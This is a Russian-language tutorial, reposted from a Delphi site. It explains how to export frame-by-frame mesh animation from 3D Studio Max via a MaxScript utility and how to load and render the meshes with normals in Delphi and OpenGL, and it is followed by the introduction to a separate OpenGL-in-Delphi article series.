В свое время я здорово помучался, решая вопрос - каким же образом создатели игр ухитряются делать трехмерные персонажи двигающиеся в реальном времени. Я предположил, что части тела у персонажей отделены от основного тела, что позволяет независимо поворачивать и перемещать их. Знаете, в Direct3D даже есть понятие фрейма, фрейм - это основное тело, к нему прикрепляются другие тела. Когда фрейм движется, прикрепленные к нему объекты движутся вместе с ним, кроме того, прикрепленные объекты могут двигаться и самостоятельно не влияя на движение фрейма. Все это замечательно подходит для создания механических объектов и персонажей, но совершенно не годится для создания объектов живого мира. Для таких объектов характерна плавность линий и отсутствие изломов на местах стыков частей объекта. Создатели компьютерных игр замечательно решили эту проблему.

Как создается двумерная анимация? Рисуется несколько кадров движения, затем поледовательно выводятся на экран и таким образом создается иллюзия движения. То же самое происходит в современных трехмерных компьютерных играх. Создается несколько 3D моделей (сеток), характеризующих фазы движения персонажа в различные моменты времени, затем поледовательно выводятся на экран, создавая иллюзию движения. Возможно, это приводит к повышенному расходу оперативной памяти, поскольку все сетки желательно хранить в памяти, но зато значительно упрощается процесс программирования и, скорее всего, увеличивается скорость работы приложения.

Следующая проблема возникла при попытке экспорта объектов из 3D Studio Max в какой-либо открытый формат, например DXF. Нет ничего сложного в создании трехмерного персонажа с последующей его анимаций, если пользоваться 3D Studio и Character Studio, вся проблема состоит в том, как экспортировать объект чтобы потом файл с сетками объекта можно было использовать в своем приложении. Для этого требуется покадровый экспорт анимированного персонажа, то есть в итоге должен получится файл, содержащий несколько сеток объекта изображающих фазы движений объекта в различные моменты времени, или несколько файлов содержащих одну сетку соответствующую определенному кадру движения. Однако, несмотря на обилие поддерживаемых форматов файлов, 3D Studio Max не обладает возможностью покадрового экспорта трехмерных объектов. Так, напрмер, файл формата 3DS может хранить информацию о положении объекта, его повороте и масштабе, но не в состоянии сохранять деформации сетки в различных кадрах анимации, а именно это нам и нужно. Про файлы формата DXF и ASC даже говорить в данном случае смешно. Я объясню, почему нам нужно сохранять именно деформацию сетки. Дело в том, что наш объект должен состоять из единой, цельной сетки, а не из нескольких объектов, чтобы не было стыков на местах соединений конечностей с телом. Создать анимацию, так чтобы персонаж мог двигать своими конечностями, в этом случае, можно только деформируя сетку, а именно перемещая одни вершины сетки относительно других. Так, например, чтобы персонаж поднял руку нужно переместить вершины руки вверх относительно вершин тела. Теперь, я надеюсь, все понятно? Итак, оказалось, что 3DStudio не в состоянии сохранить подобную анимацию. Однако, не все так печально. Например, есть такой дополнительный модуль для 3DStudio, называется Bones Pro Max, а у него есть инструмент SnapShot, который позволяет делать снимки различных кадров движения объекта. В результате его работы у Вас на рабочем поле 3D Studio Max появляется целое стадо одинаковых трехмерных объектов в различных позах. Правду сказать, я его не нашел, да и выпущен он был уже давно еще под первую версию 3D Studio Max. Поэтому я решил идти другим путем и окунулся во внутренний язык 3D Studi Max - Max Script. Результатом моей деятельности стала простенькая утилита Meshes Export for Games and Animation (MEGA), которая позволяет делать все, о чем я сказал выше и некоторые другие полезные вещи.

Знакомство с утилитой MEGA V 1.0

Для ознакомления с этой утилитой Вам понадобится графический пакет 3D Studio Max 3.0 и, собственно, сама утилита. Она расположена в папке Utility и называется MEGA.ms. Это не исполняемый файл, а текстовый файл с набором команд для 3D Studio Max написанных на языке Max Script.

Запустите 3D Studio Max и создайте простой объект - сферу. Я полагаю, что даже те, кто никогда не видел этого графического редактора, без труда справятся с таким простым заданием.

Теперь, щелкайте на сфере правoй кнопкой мыши пока не появится контекстное меню. Как правило, с первого раза оно не появляется. В контекстном меню выберите строку Convert to Editable Mesh (Преобразовать в Редактируемую Сетку). Обратите внимание: объект, непременно, должен быть Редактируемой Сеткой, если в выходном файле мы хотим получить список вершин и граней, иначе мы получим имя объекта и его свойства, такие как, радиус, количество сегментов - для сферы, высоту, ширину и глубину - для параллелепипеда и т.д.

Перейдите на командную панель (она расположена справа) и выберите вкладку с изображением молотка. Это вкладка утилит. Нажмите кнопку MAXScript, внизу панели развернется свиток MAXScript'a. Нажмите кнопку Запуск Макроса, появится диалоговое окно открытия файла. Запустите файл MEGA.ms. Внизу командной панели в списке утилит должна появится надпись MEGA, однако это еще не означает, что утилита уже запущена. Чтобы ее запустить, необходимо раскрыть спиок утилит и выделить строку MEGA. Внизу панели должен раскрыться свиток MEGA.

Введите в поле From зачение 1, в поле To - 100, в поле Step - 100. Нажмите кнопку Save As..., в диалоговом окне введите имя файла, куда бдете сохранять и нажмите кнопку сохранить. Объект экспортирован в файл с расширением GMS.

Как работает утилита: При экспорте файла, берется значение из поля From и ползунок счетчика кадров расположенный внизу экрана премещается на позицию, соответствующую этому значению. Затем в выходной файл экспортируется объект в том виде, в каком он пребывает на данный момент на экране. После чего снова передвигается ползунок кадров на величину, введенную в поле Step. Снова записывается модель соответствующая этому кадру. И так до тех пор, пока ползунок не переместится на позицию соответствующую значению, введенному в поле To. Поскольку в данном примере мы не создавали анимацию, то нам нужен был только один кадр. Утилита экспортировала кадр №1, затем добавила к нему значение 100. Номер кадра стал равен 101. Поскольку это значение больше значения введенного в поле To, процесс экспорта на этом остановился. Если бы в поле From было введено значение 0, то было бы экспортировано 2 кадра с номерами 0 и 100 соответственно. Если пометить галочкой опцию Selected Only, то экспортироваться будут только выделенные объекты, это иногда бывает очень нужно, в противном случае будут экспортированы все объекты сцены. Теперь рекомендую рассмотреть формат файла GMS.

Формат файла GMS

Файл GMS это текстовый файл открытого формата, что означает, что даже человек не знакомый с его описанием может создать приложение, считывающее из него информацию. Тем не менее, приведу на всякий случай описание этого файла.

// Указывает на начало нового объекта,
// следующая строка указывает тип объекта
New object
TriMesh() // Объект - сетка
// Указывает, что следующая строка содержит количество
// вершин и граней для данного объекта
numverts numfaces
Mesh vertices:
// Здесь располагается блок вершин объекта в виде координат X Y Z
end vertices

Mesh faces:
// Здесь располагается блок граней объекта в виде индексов 1 2 3,
// где каждый индекс - индекс в массиве вершин, указывает на вершину грани
end faces

Faset normals:
// Здесь располагается блок фасетных нормалей в виде координат X Y Z.
// Их количество равно количеству граней
end faset normals

Smooth normals:
// Здесь располагается блок сглаживающих нормалей в виде координат X Y Z.
// Их количество равно количеству вершин.
end smooth normals

end mesh // Конец описания объекта Tri Mesh
end of file // Конец файла

Примерно так выглядит файл, когда мы экспортируем сетчатый объект. Если объект не сетчатый, то файл будет выглядеть следующим образом:

// Указывает на начало нового объекта,
// следующая строка указывает тип объекта
New object
<Тип объекта>, например: Box

// Здесь идут параметры, зависящие от типа объекта
// (Поверхности Безье и NURBS - поверхности не поддерживаются)

end <Тип объекта> // Конец описания объекта
end of file // Конец файла

Загрузка файла формата GMS в Delphi

Пример загрузки файла GMS находится в папке Ch01. В проекте присутствует два модуля: frmMain.pas и Mesh.pas. Откомпилировав и запустив проект на выполнение вы должны увидеть вращающийся Тор (по-нашему: "Баранка"). Несмотря на то, что объект можно считать стандартным, он был в 3D Studio преобразован в сетку, поэтому в данном случае это именно сетчатый объект. Нажав пункт меню "загрузить", вы можете посмотреть любой объект из папки GMS или загрузить свою сферу, которую сделали сами, если правильно руководствовались моими инструкциями в разделе: Знакомство с утилитой MEGA V1.0. Теперь рассмотрим данный пример подробно. Почти весь код модуля frmMain.pas написан не мной. Он взят из книги "OpenGL графика в проектах Delphi" Михаила Краснова. Этот модуль выполняет инициализацию приложения и циклическую функцию отрисовки окна, поэтому подробно мы его рассматривать не будем. Если код покажется Вам непонятным, значит Вы недостаточно знакомы с OpenGL, в этом случае Вам надлежит обратится к первоисточнику (в смысле - к книге). Код модуля Mesh.pas выполняет загрузку данных из файла и отображение объектов в окне. Рассмотрим его подробнее:

// Объявление типов данных
type
  // Указатель на вершину
  PGLVertex = ^TGLVertex;
  TGLVertex = record
    // Вершина, как три значения с плавающей точкой
    x, y, z: GLFloat;
  end;
  // Указатель на вектор
  PGLVector = ^TGLVector;
  // Вектор, как массив из трех элементов с плавающей точкой
  TGLVector = array[0..2] of GLFloat;
  // Указатель на грань
  PGLFace = ^TGLFace;
  // Грань, как массив из трех целочисленных значений
  TGLFace = array[0..2] of GLInt;
  // Указатель на массив вершин
  PGLVertexArray = ^TGLVertexArray;
  // Массив вершин
  TGLVertexArray = array[Word] of TGLVertex;
  // Указатель на массив граней
  PGLFacesArray = ^TGLFacesArray;
  // Массив граней
  TGLFacesArray = array[word] of TGLFace;

Здесь требуется небольшое пояснение. Как вы заметили, грань объявлена, как массив из трех целочисленных чисел. Дело в том, что граней почти всегда больше чем вершин. Поэтому все вершины запоминаются в отдельном массиве, а грань - это три индекса в этом массиве, указывающие на вершины принадлежащие грани. Одна вершина может принадлежать нескольким граням.

Теперь рассмотрим описание объекта сетка:

TGLMesh = class
  // Массив вершин объекта - сетка
  Vertices : PGLVertexArray;
  // Массив граней
  Faces : PGLFacesArray;
  // Массив фасетных нормалей
  FasetNormals : PGLVertexArray;
  // Количество вершин
  VertexCount : Integer;
  // Количество граней
  FacesCount : Integer;
  // Коэффициент масштабирования
  fExtent : GLFloat;
  // Флаг масштабирования
  Extent : GLBoolean;
public
  // Загрузка
  procedure LoadFromFile(const FileName: string);
  // Расчет нормалей
  procedure CalcNormals;
  // Отрисовка
  procedure Draw;
  // Уничтожение с очисткой массивов
  destructor Destroy; override;
end;

Здесь пояснений практически не требуется. Можно лишь отметить, что Extent служит для того, чтобы объект загнать в размеры в пределах (-1, 1), я сделал это для того, чтобы объект любого размера не мог вылезти за пределы окна. Вообще говоря, в 3D Studio Max не сложно масштабировать объект так, чтобы координаты вершин попали в интервал (-1, 1), но на этапе создания модели думать об этом совсем не хочется.

// Загрузка файла
procedure TGLMesh.LoadFromFile;
var
  f : TextFile;
  S : string;
  i : Integer;
  Vertex : TGLVertex;
  Face : TGLFace;
  MaxVertex : GLFloat;
begin

  AssignFile(f,FileName);
  Reset(f);
  // Пропускаем строки, пока не попадется 'numverts numfaces'
  repeat
    ReadLn(f, S);
  until
    (S = 'numverts numfaces') or eof(f);

  // Читаем количество вершин и граней
  Readln(f,VertexCount,FacesCount);

  // Выделяем память для хранения сетки
  GetMem(Vertices,VertexCount*SizeOf(TGLVertex));
  GetMem(Faces,FacesCount*SizeOf(TGLFace));
  GetMem(FasetNormals,FacesCount*SizeOf(TGLVector));

  // Пропускаем строку "Mesh vertices"
  ReadLn(f, S);

  // Считываем вершины
  for i := 0 to VertexCount - 1 do
  begin
    Readln(f,Vertex.x,Vertex.y,Vertex.z);
    Vertices[i] := Vertex;
  end;

  // Пропускаем строку "end vertices"
  ReadLn(f, S);
  // Пропускаем строку "Mesh faces"
  ReadLn(f, S);

  // Считываем грани
  for i := 0 to FacesCount - 1 do
  begin
    Readln(f,Face[0],Face[1],Face[2]);
    Face[0] := Face[0] - 1;
    Face[1] := Face[1] - 1;
    Face[2] := Face[2] - 1;
    Faces[i] := Face;
  end;

  CloseFile(f);

  // Рассчитываем масштаб
  MaxVertex := 0;

  for i := 0 to VertexCount - 1 do
  begin
    MaxVertex := Max(MaxVertex,Vertices[i].x);
    MaxVertex := Max(MaxVertex,Vertices[i].y);
    MaxVertex := Max(MaxVertex,Vertices[i].z);
  end;

  fExtent := 1/MaxVertex;
  CalcNormals;
end;

Здесь могут быть непонятны следующие моменты: В блоке считывания граней я вычитаю единицу из каждого индекса вершины, считанного из файла. Делается это потому, что в программе индексы нумеруются, начиная с нуля, а в файле GMS - начиная с единицы. Процедура CalcNormals служит для расчета нормалей и взята из книги "OpenGL графика в проектах Delphi" Михаила Краснова. О том, что такое нормали и зачем они нужны я расскажу в разделах "Фасетные нормали" и "Сглаживающие нормали".

procedure TGLMesh.Draw;
var
  i : Integer;
  Face : TGLFace;
begin
  if Extent then
    glScalef(fExtent,fExtent,fExtent);

  for i := 0 to FacesCount - 1 do
  begin
    glBegin(GL_TRIANGLES);
    Face := Faces[i];
    glNormal3fv(@FasetNormals[i]);
    glVertex3fv(@Vertices[Face[0]]);
    glVertex3fv(@Vertices[Face[1]]);
    glVertex3fv(@Vertices[Face[2]]);
    glEnd;
  end;
end;

Здесь все понятно. Сначала, если установлен флаг масштабирования, устанавливается масштаб одинаковый по всем осям, затем в цикле рисуются треугольники. Перед началом рисования треугольника объявляется нормаль к нему. В качестве параметров передаются не конкретные значения, а указатели на них.

destructor TGLMesh.Destroy;
begin
  FreeMem(Vertices,VertexCount*SizeOf(TGLVertex));
  FreeMem(Faces,FacesCount*SizeOf(TGLFace));
  FreeMem(FasetNormals,FacesCount*SizeOf(TGLVector));
end;

Здесь тоже все понятно, просто освобождается память, занятая объектом. Вызовы процедур загрузки и отрисовки объекта находятся в модуле frmMain и не представляют ничего интересного.

Создание анимированного персонажа и вывод на экран

Специально для тех, кто не владеет навыками работы с 3D Studio Max и Character Studio, я создал модель бегающего человечка. Она находится в папке MAX, и файл называется BodyRun.max. Если у Вас вообще нет пакета 3D Studio Max, то файл GMS с сетками этого человечка находится в папке GMS и называется ManRun.gms.

Итак, запустите среду 3D Studio Max и создайте анимированного персонажа или загрузите его из файла BodyRun.max. Запустите утилиту MEGA, как это делалось в разделе Знакомство с утилитой MEGA V1.0. Установите значение поля From =0, значение поля To установите в кадр, на котором заканчивается анимация, в случае с файлом BodyRun.max это значение нужно установить в 11. Значение поля Step установите в еденицу. Выделите сетку персонажа.

Внимание:

убедитесь, что Вы выделили именно сетку персонажа и только ее. Пометьте флажок Selected Only. Для анимации сетки используется скелет. Он создается и подгоняется под размеры и форму тела, затем вершины сетки связываются с костями скелета. При анимации изменяются параметры положения частей скелета, а сетка лишь следует за ними. Поэтому, всегда, когда используется этот подход, в сцене помимо сетки присутствует скелет. Вот почему необходимо выделить только сетку и пометить флажок Selected Only.

После того, как Вы выполнили все операции укзанные выше, экспортируйте объект в файл GMS. В процессе экспорта Вы должны увидеть, как последовательно перемещается ползунок расположенный внизу экрана, отсчитывая кадры анимации, и как меняются кадры в проекционных окнах 3D Studio Max. Процесс экспорта завершится, когда ползунок достигнет конечного значения.

Готовый проект лежит в папке Ch02. Откомпилируйте его и запустите на выполнение. Нажатием кнопки "Анимировать" можно запускать или останавливать анимацию. Если Ваш компьютер оснащен 3D ускорителем, то лучше развернуть окно на весь экран - так медленнее. Теперь разберем исходный код программы. Он дополнился новым объектом TGLMultyMesh, который создан для загрузки и последовательной отрисовки нескольких сетчатых объектов.

TGLMultyMesh = class
    Meshes : TList;
    CurrentFrame : Integer;
    Action : Boolean;
    fExtent : GLFloat;
    Extent : Boolean;
  public
    procedure LoadFromFile(const FileName: string);
    procedure Draw;
    constructor Create;
    destructor Destroy; override;
  published
end;

Список Meshes хранит все сетки загруженные из файла. Переменная Action указывает выполняется анимация или нет, а CurrentFrame содержит номер текущего кадра анимации.

procedure TGLMultyMesh.LoadFromFile;
var
  f : TextFile;
  S : string;

  procedure ReadNextMesh;
  var
    i : Integer;
    Vertex : TGLVertex;
    Face : TGLFace;
    MaxVertex : GLFloat;
    NextMesh : TGLMesh;
  begin
    NextMesh := TGLMesh.Create;
    repeat
      ReadLn(f, S);
    until
      (S = 'numverts numfaces') or eof(f);
    // Читаем количество вершин и граней
    Readln(f,NextMesh.VertexCount,NextMesh.FacesCount);
    // Выделяем память для хранения сетки
    GetMem(NextMesh.Vertices,NextMesh.VertexCount*SizeOf(TGLVertex));
    GetMem(NextMesh.Faces,NextMesh.FacesCount*SizeOf(TGLFace));
    GetMem(NextMesh.FasetNormals,NextMesh.FacesCount*SizeOf(TGLVector));
    ReadLn(f,S); // Пропускаем строку Mesh vertices:
    // Считываем вершины
    for i := 0 to NextMesh.VertexCount - 1 do
    begin
      Readln(f,Vertex.x,Vertex.y,Vertex.z);
      NextMesh.Vertices[i] := Vertex;
    end;
    ReadLn(f,S); // Пропускаем строку end vertices
    ReadLn(f,S); // Пропускаем строку Mesh faces:
    // Считываем грани
    for i := 0 to NextMesh.FacesCount - 1 do
    begin
      Readln(f,Face[0],Face[1],Face[2]);
      Face[0] := Face[0] - 1;
      Face[1] := Face[1] - 1;
      Face[2] := Face[2] - 1;
      NextMesh.Faces[i] := Face;
    end;
    // Рассчитываем масштаб
    MaxVertex := 0;
    for i := 0 to NextMesh.VertexCount - 1 do
    begin
      MaxVertex := Max(MaxVertex,NextMesh.Vertices[i].x);
      MaxVertex := Max(MaxVertex,NextMesh.Vertices[i].y);
      MaxVertex := Max(MaxVertex,NextMesh.Vertices[i].z);
    end;
    NextMesh.fExtent := 1/MaxVertex;
    NextMesh.CalcNormals;
    Meshes.Add(NextMesh);
  end;

begin
  Meshes := TList.Create;
  AssignFile(f,FileName);
  Reset(f);
  while not Eof(f) do
  begin
    Readln(f,S);
    if S = 'New object' then
      ReadNextMesh;
  end;
  CloseFile(f);
end;

Код загрузки объекта TGLMultyMesh практически идентичен коду загрузки объекта TGLMesh. Небольшое отличие состоит в том, что объект TGLMultyMesh предполагает, что файл содержит несколько сеток. Поэтому при загрузке проиходит поиск строки "New Object", создается объект TGLMesh, который помещается в список Meshes и в него считывается информация из файла. Затем весь цикл повторяется до тех пор, пока не кончится файл. Процедуры создания, уничтожения и отрисовки объекта тоже почти не изменились:

procedure TGLMultyMesh.Draw;
begin
  if Extent then
  begin
    fExtent := TGLMesh(Meshes.Items[CurrentFrame]).fExtent;
    glScalef(fExtent,fExtent,fExtent);
  end;
  // Рисование текущего кадра
  TGLMesh(Meshes.Items[CurrentFrame]).Draw;
  // Если включена анимация увеличить значение текущего кадра
  if Action then
  begin
    inc(CurrentFrame);
    if CurrentFrame > (Meshes.Count - 1) then
      CurrentFrame := 0;
  end;
end;

constructor TGLMultyMesh.Create;
begin
  Action := False;
  CurrentFrame := 0;
end;

destructor TGLMultyMesh.Destroy;
var
  i : Integer;
begin
  for i := 0 to Meshes.Count - 1 do
    TGLMesh(Meshes.Items[i]).Destroy;
  Meshes.Free;
end;

Немного изменился и вызов функции загрузки в модуле frmMain.pas.

procedure TfrmGL.N1Click(Sender: TObject);
begin
  if OpenDialog.Execute then
  begin
    MyMesh.Destroy;
    Mymesh := TGLMultyMesh.Create;
    MyMesh.LoadFromFile( OpenDialog.FileName );
    MyMesh.Extent := true;
    // Проверяем сколько сеток загружено и возможна ли анимация
    if MyMesh.Meshes.Count <= 1 then
      N2.Enabled := False
    else
      N2.Enabled := True;
  end;
end;

// Включение анимации
procedure TfrmGL.N2Click(Sender: TObject);
begin
  MyMesh.Action := not MyMesh.Action;
  N2.Checked := not N2.Checked;
end;

Здесь все должно быть предельно ясно, не будем акцентировать на этом внимание, и так статья длиннее получается, чем я расчитывал.

Да, конечно, человечек убогий. Мало того, что он кривой, так еще и прихрамывает. Что делать, чтобы создавать красивых человечков с минимальным количеством граней нужно быть профессионалом 3D моделирования. Все же, мы еще попытаемся его улучшить.

Вероятно, Вы заметили, огрехи воспроизведения объектов на экране, выражающиеся в каких - то непонятных черных треугольниках в тех местах, где их не должно быть. Сам я понятия не имею, откуда они взялись. Если Вас не удовлетворяет такой вид объектов, значит, настала пора поговорить о нормалях.

Что такое нормали

Нормалью называется перпендикуляр к чему-либо. В нашем случае это перпендикуляр к грани. Хотелось бы, но, к сожалению, без нормалей никак не обойтись. Дело в том, что по нормалям расчитывается освещение объекта. Так, например, если нормаль грани направлена на источник света, то грань будет освещена максимально. Чем больше нормаль отвернется от источника света, тем менее грань будет освещена. В случае с OpenGL, если нормаль отвернется от экрана более чем на 90 градусов, мы вообще не увидим грань, она не будет отрисовываться. Если бы мы не использовали нормали, то наш объект был бы закрашен одним цветом, то есть мы бы увидели только силует объекта. Трехмерный эффект достигается окрашиванием граней объекта в разные по яркости цвета, или наложением теней, кому как больше нравится это называть. Кроме того, степень освещенности зависит также от длины вектора нормали, но, как правило, длина вектора нормали должна находится в пределах (0; 1).

Теперь я думаю, стало ясно, что такое нормали и зачем они нужны.

Загрузка фасетных нормалей из файла GMS

Что такое фасетная нормаль? Фасетная нормаль, это самая обычная нормаль к грани, а называется она так по производимому воздействию на изображаемый объект. После применения фасетных нормалей грани объекты хоть и освещены по-разному, но каждая грань освещена равномерно и соответственно закрашена одним цветом, что приводит к тому, что объект выглядит граненым. Отсюда и название. По-нашему "фасетная нормаль" это "граненая нормaль". В предыдущих примерах фасетные нормали рассчитывались по математическому алгоритму (процедура CalcNormals), но по всей видимости он иногда дает сбои. Не все то хорошо для программиста, что хорошо для математика. В результате и появляются черные треугольники там где их не должно быть.

К счастью, внутренний язык 3D Studio Max позволил мне найти фасетные нормали, которые он использовал для отображения объекта, а отображались объекты в 3D Studio Max правильно. Приложение, использующее нормали, взятые из 3D Studio Max, находится в папке Ch03. А какая при этом получается разница, Вы можете увидеть на картинках ниже:

Теперь наша баранка выглядит правильно. В процедуре загрузки сетки добавился блок считывания фасетных нормалей из файла GMS. Процедуру CalcNormals я оставил в исходном тексте, но закоментировал.

ReadLn(f, S); //Пропускаем строку "end faces"
ReadLn(f, S); // Пропускаем строку "Faset normals"

// фасетные нормали
for i := 0 to FacesCount - 1 do
begin
  Readln(f,Normal.x,Normal.y,Normal.z);
  FasetNormals[i] := Normal;
end;

Естественно, что количество фасетных нормалей равняется количеству граней.

Загрузка сглаживающих нормалей из файла GMS

Все-таки, несмотря на то, что объект теперь отображается правильно, хочется чего-то еще. Ну кому понравится граненая баранка? Или футбольный мяч такой, будто его вытесали из гранита? И, несмотря на то, что уровень детализации в данном примере не высок, можно еще улучшить внешний вид объекта. На помощь приходят сглаживающие нормали. Об этом стоит рассказать подробнее.

Когда я понял, что, используя команду glShadeModel, мне не удастся сгладить мой объект (и у Вас не получится тоже), я затосковал. Нужно было что-то делать, и я решил заняться этим вопросом вплотную. Вот что мне удалось выяснить. Оказывается к одной грани можно построить не одну нормаль, а столько, сколько душа пожелает. Но это еще ничего не дает. А вот если мы нормаль отклоним в сторону, так что она станет, не перпендикулярна грани, то грань окрасится неравномерно. Конечно, слова о том, что "нормаль не перпендикулярна", могут показаться немного странными для математика, но программиста это смущать не должно :). Я попробую пояснить подробнее, что же получается в этом случае.

Взгляните на них. Мы имеем четырехугольную грань, в каждом углу которой построена нормаль. Все нормали перпендикулярны грани, и грань выглядит плоской. Нормали разведены в стороны от центра грани и грань освещена неравномерно, так будто она выпукла, хотя на самом деле она плоская. Если же свести нормали к центру грани, то грань станет вогнутой.

Это можно применять следующим образом. Чтобы добиться эффекта сглаживания, строить нормали нужно к вершинам грани, на каждую вершину по одной нормали. Для построения нормали, необходимо узнать к каким граням принадлежит вершина (теоретически вершина может принадлежать бесконечному числу граней - на практике не больше 12), взять фасетные нормали от этих граней, расчитать от них среднюю нормаль и построить ее к вершине. Как это сделать? Какими формулами это считается? Честно говоря, я понятия не имею. Есть такой сайт: http://www.pobox.com/~nate Ната Робинсона, там лежит пример на сглаживание и не только. Правда, написан он на Сях. Мне бы не составило труда переписать его на Дельфи, но... Зачем утруждать себя, если есть Баунти? Снова берем 3D Studio Max, лезем внутрь, хватаем сглаживающие нормали и... Вуаля!

Проект находится в папке Ch04. Скомпилируйте его и запустите на выполнение. Теперь Вы можете наслаждаться внешним видом сглаженного бублика нажав на кнопку Фасеты/Сгладить. Выглядит это примерно так:

Код программы, как всегда существенно не изменился. В процедуру загрузки добавился блок загрузки сглаживающих нормалей:

ReadLn(f,S); // Пропускаем строку end faset normals
ReadLn(f,S); // Пропускаем строку SmoothNormals:

// Считываем сглаживающие нормали
for i := 0 to NextMesh.VertexCount - 1 do
begin
  Readln(f,Normal.x,Normal.y,Normal.z);
  NextMesh.SmoothNormals[i] := Normal;
end;

Процедура отрисовки претерпела "существенные" изменения:

procedure TGLMesh.Draw(Smooth: Boolean);
var
  i : Integer;
  Face : TGLFace;
begin
  for i := 0 to FacesCount - 1 do
  begin
    glBegin(GL_TRIANGLES);
    Face := Faces[i];
    if Smooth then
    begin
      // Если сглаживать тогда перед каждой
      glNormal3fv(@SmoothNormals[Face[0]]);
      // вершиной рисуем сглаживающую нормаль
      glVertex3fv(@Vertices[Face[0]]);
      glNormal3fv(@SmoothNormals[Face[1]]);
      glVertex3fv(@Vertices[Face[1]]);
      glNormal3fv(@SmoothNormals[Face[2]]);
      glVertex3fv(@Vertices[Face[2]]);
    end
    else
    // Если не сглаживать один раз рисуем фасетную нормаль
    begin
      glNormal3fv(@FasetNormals[i]);
      glVertex3fv(@Vertices[Face[0]]);
      glVertex3fv(@Vertices[Face[1]]);
      glVertex3fv(@Vertices[Face[2]]);
    end;
    glEnd;
  end;
end;

procedure TGLMultyMesh.Draw;
begin
  if Extent then
  begin
    fExtent := TGLMesh(Meshes.Items[CurrentFrame]).fExtent;
    glScalef(fExtent,fExtent,fExtent);
  end;
  TGLMesh(Meshes.Items[CurrentFrame]).Draw(fSmooth);
  if Action then
  begin
    inc(CurrentFrame);
    if CurrentFrame > (Meshes.Count - 1) then
      CurrentFrame := 0;
  end;
end;

Сам объект TGLMesh дополнился массивом для сглаживающих нормалей, а TGLMultyMesh - флагом указывающим следует ли сглаживать или нет. Этот флаг передается в процедуру отрисовки объекта TGLMesh. Деструктор пополнился строкой уничтожающей массив сглаживающих нормалей. В модуле frmMain появился обработчик нажатия пункта меню Фасеты/Сгладить.

Вот, пожалуй, и все. Могу только добавить, что не всегда удобно пользоваться сглаживающими нормалями из файла GMS, хотя в большинстве случаев они подходят. Загрузите, к примеру, объект Zban.gms и установите сглаживающий режим. Видите, все сглажено, а в 3D Studio Max он выглядел по-другому. Сверху и снизу у него были полукруглые крышки, но посередине был четкий цилиндр, с резкой границей в местах состыковки с полукруглыми крышками. Это побочный эффект сглаживания. Если Вы хотите добится исчезновения этого эффекта, Вам придется написать приложение для ручной корректировки нормалей, или программно отслеживать ситуацию, когда излом достиг критического угла и следует воспользоваться фасетной нормалью. Теперь, пожалуй, действительно все.

Взято с http://delphiworld.narod.ru


Работа с OpenGL - Введение

Введение

По мере знакомства с использованием OpenGL в Delphi у меня появился ряд проектов, иллюстрирующих различные аспекты этого вопроса. Проекты начинаются с самых минимальных программ, в которых просто окрашивается окно или выводится прямоугольник с использованием функций OpenGL и заканчиваются масштабными проектами из тысяч строк кода. Эти работы позволяют проследить мой путь и могут служить подмогой для тех, кто только начинает разбираться в этих вопросах.

Когда я начинал изучение этого, у меня не было ни одного примера использования OpenGL в Delphi, только ворох программ на C и C++, поэтому пришлось начинать с того, чтобы перекладывать эти программы на Delphi. Затем появились и полностью собственные проекты. Моя основная работа связана с преподаванием в вузе, после того, как я включил в учебные курсы изучение основ OpenGL, студенты с моей помощью смогли создать ряд интересных проектов.

Я решил опубликовать некоторые из проектов моей коллекции, озаглавил набор "ЖиЛистая Delphi" и предложил сайту "Королевство Delphi". На сайте мне предложили дополнить эти проекты серией статей по вопросам использования OpenGL в Delphi. Данная статья является первой статьей этого цикла.

Статьи я предполагаю писать на уровне, доступном для самой широкой аудитории - от новичков в программировании для Windows до умудренных профессионалов. Я постараюсь придерживаться краткости в своих рассуждениях, освещая только суть рассматриваемых вопросов. Многие вопросы, освещаемые здесь, ясно проиллюстрированы в проектах "ЖиЛистой Delphi".

OpenGL - стандартный для большинства платформ и операционных систем набор низкоуровневых функций двумерной и трехмерной графики, библиотека, широко используемая в промышленных CAD-системах и играх.

Поставляется в составе операционной системы Windows, начиная с версии OSR2 в виде двух DLL-файлов - opengl32.dll и glu32.dll. Первая из этих библиотек и есть собственно набор функций OpenGL, вторая содержит дополнительный набор функций, упрощающих кодирование, но построенных и выполняемых с подключением opengl32.dll и являющаяся надстройкой.

То, что эти библиотеки поставляются в составе операционной системы, значительно упрощает распространение разработанных приложений. То, что OpenGL распространяется в виде динамических библиотек, упрощает доступ к его функциям.

При выборе базы для построения приложений графики несомненными достоинствами OpenGL являются его простота и стандартность - код в случае необходимости можно легко перенести на другую платформу или под другую операционную систему.

Для более подробной информации о OpenGL Вы можете обратиться на сайт http://www.opengl.org

Вместе с Delphi, начиная с третьей версии, поставляется файл помощи по OpenGL фирмы MicroSoft и заголовочный файл opengl.pas, позволяющий использовать эту графическую библиотеку в приложениях, написанных на Delphi.

Есть также альтернативные версии заголовочных файлов независимых разработчиков и компоненты, использующие OpenGL, упрощающие доступ к его функциям и использующие ООП подход. Некоторые из этих файлов и компонентов могут использовать версию OpenGL для Windows фирмы SGI, имеющую собственное расширение функций и имеющую более высокие скоростные показатели. Одна из самых полных систем, реализующая набор функций всех версий OpenGL - это библиотека разработчика MGL фирмы SciTechSoft.

Мы в своих примерах будем опираться только на стандартные файлы и компоненты Delphi, так что Вам не придется искать и приобретать дополнительные файлы и компоненты. Умея самостоятельно использовать OpenGL, Вы легко сможете использовать готовые компоненты, скрывающие черновую работу подключения и использования функций OpenGL. Тем более, что многие из этих компонентов отличаются неустойчивой работой.

Итак, Delphi в стандартной поставке позволяет использовать OpenGL в разрабатываемых приложениях, но как это сделать, плохо понятно из файла помощи, а готовыми примерами использования OpenGL Delphi не сопровождается (по крайней мере, на сегодня). Поэтому начинающим часто тяжело самостоятельно разобраться, как же работать с OpenGL в Delphi. Рассмотрению вопросов использования OpenGL вообще и использованию в Delphi и будет посвящен данный курс статей.

К сожалению, эта тема осложнена тем обстоятельством, что для построения самой минимальной программы OpenGL требуется выполнить ряд обязательных действий, код реализации которых может напугать начинающих своей обширностью.

Для понимания смысла этих действий желательно понимать смысл основных понятий операционной системы Windows - ссылка, контекст, сообщение, в проектах Delphi не всегда активно используемых программистами. Желательно иметь хотя бы минимальные знания о роли динамических библиотек в этой операционной системе. Хотя, конечно, можно успешно использовать OpenGL и без глубоких знаний в этой области, используя готовые шаблоны приложений и сосредоточившись собственно на функциях OpenGL.

